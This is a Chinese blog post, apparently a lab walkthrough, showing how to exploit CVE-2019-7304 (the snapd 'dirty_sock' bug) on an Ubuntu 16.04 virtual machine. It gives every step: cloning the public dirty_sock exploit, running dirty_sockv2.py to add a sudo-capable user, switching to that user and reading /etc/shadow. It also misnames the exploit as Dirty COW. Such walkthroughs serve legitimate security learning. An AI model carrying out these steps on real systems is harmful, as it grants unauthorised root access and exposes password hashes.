二、漏洞编号为CVE-2019-7304的本地提权(略微详细)(Ubuntu16.04.4)

lumen超cute
本文链接: https://blog.csdn.net/qq_45555226/article/details/102532606

CVE-2019-7304漏洞的本地提权

一、漏洞分析

1.CVE-2019-7304是什么漏洞?
答:用户任何普通用户本地提权的漏洞。
2.该漏洞实际上做了什么?
答:实际是在/etc/passwd中加入了一个用户,不过可以使用sudo命令,行使管理员root的权限。
3.CVE-2019-7304利用的是?
答:linux的Ubuntu服务器安装时,默认安装的“snap”服务的错误,具体是什么错误,此处不追究了!
2.该漏洞存在于snap的哪些版本中?
答:存在于以下Ubuntu安装时候,自带的snap版本中。虽然有些博客上写是低于2.37.1,但是据我所知有些版本也是存在漏洞的,比如我的snap的版本为4.2。
· Ubuntu 18.10

· Ubuntu 18.04 LTS

· Ubuntu 16.04 LTS

· Ubuntu 14.04 LTS

二、实验环境的准备:

1.我的Ubuntu16.04.4的虚拟机镜像文件:百度网盘链:https://pan.baidu.com/s/1PJgj1xy_6P7jTxUa3QY4Wg
//提取码:3qcl
//注意:我使用的是vmwareworkstation,进入vmware时候,快照1为本实验的环境。

2.实验中用到的代码:

lsb_release -a (查看ubuntu的版本信息)
snap version (查看snap的版本信息 )
git clone https://github.com/initstring/dirty_sock.git (下载dirty_sock,脏牛攻击代码)
cd dirty_sock (切换到目录dirty_sock下 )
python3 dirty_sockv2.py (运行python文件,注意只要运行第二个)
su dirty_sock (切换用户,输入密码dirty_sock,密码不回显在屏幕上)
//若回显没有让输入密码,反而回显了no passwd entry for user’dirty_sock’,则说明snap在运行中。下面的过程会有图示,依次输入snap changes 和 snap tasks number,查看snap运行的进度,直到显示100%,再次输入 su dirty_sock 切换用户即可

三、实验过程:

0.进入虚拟机时候,打开快照1;

1.首先呢,在开始试验前,查看一下用户文件/etc/passwd,输入命令:cat /etc/passwd
在这里插入图片描述
//如上图所示,本地用户为qwsn
//那么为什么查看用户文件呢?
第一点:因为本实验的攻击代码的实质,是创建一个名为dirty_sock的用户
第二点:为了与后续的实验做一个对比,往下看,就晓得了!

2.查看ubuntu的版本信息: lsb_release -a
在这里插入图片描述
3.查看snap的版本信息 : snap version
在这里插入图片描述
4.下载dirty_sock,脏牛攻击代码: git clone https://github.com/initstring/dirty_sock.git
在这里插入图片描述
5.切换到目录dirty_sock下 python3: cd dirty_sock
在这里插入图片描述
6.运行python文件,注意只要运行第二个:python3 dirty_sockv2.py
在这里插入图片描述
//如上图的Success!那一段所示:代码自动成功建立了,以 dirty_sock为用户名和密码的用户
//但是,真的建立成功了吗?
//好了,我们cat /etc/passwd 文件,查看一下最后一行是否为dirty_sock用户
在这里插入图片描述
//emmmmmmm,如图所示呢,虽然攻击代码显示了Sucess!但是并没有建立成功。
//好了,那么,我们继续!!!!

7. 切换用户,输入:su dirty_sock
在这里插入图片描述
8. 如7中图所示,No passwd entry for user ‘dirty_sock’,意思是没有密码可以给dirty_sock用户用,刚刚好,对应了7中的用户没有注册成功,其实呢只是用户对于的密码还有建立成功,也就是本地用户dirty_sock还没有注册完成。输入命令查看一下:snap changes
在这里插入图片描述
9. 如8中图所示,任务task3还在doing形式,那么我们查看一下task3的状态,输入命令:snap tasks 3
//查看结果如下图所示,若达到100%,即可用密码登录用户dirty_sock
在这里插入图片描述
10.等待一段时间到达100%,输入命令查看是否完成:snap changes
//如图所示,任务3已经完成!
在这里插入图片描述

11.查看是否成功建立用户,输入命令:cat /etc/passwd
//如下图所示,你会发现到了100%,还是莫得出现用户?这是问什么呢?
//我们继续实验,尝试一下
在这里插入图片描述

12.再次切换用户dirty_sock,输入命令: su dirty_sock
在这里插入图片描述
13.切换成功用户后,再次查看用户文件,输入命令: cat /etc/passwd
//如下图所示,成功建立了用户dirty_sock,并且你再次推出用户dirty_sock,该文件依旧存在着dirty_sock,并且/home/dirty_sock也存在了,说明到目前为止,才算正的完成建立用户!!!!!
在这里插入图片描述
14.验证是否可以行使root的权利,输入命令:sudo cat /etc/shadow
注意:/etc/shadow文件存放着用户密码相关信息,并且只有root权限可以查看
在这里插入图片描述

								有朝一日,你会成为被喜欢的人觉得大吃一惊 、被讨厌的人刮目相看的人!!!
																									2019年10月13日---402

猜你喜欢

转载自blog.csdn.net/qq_45555226/article/details/102532606
今日推荐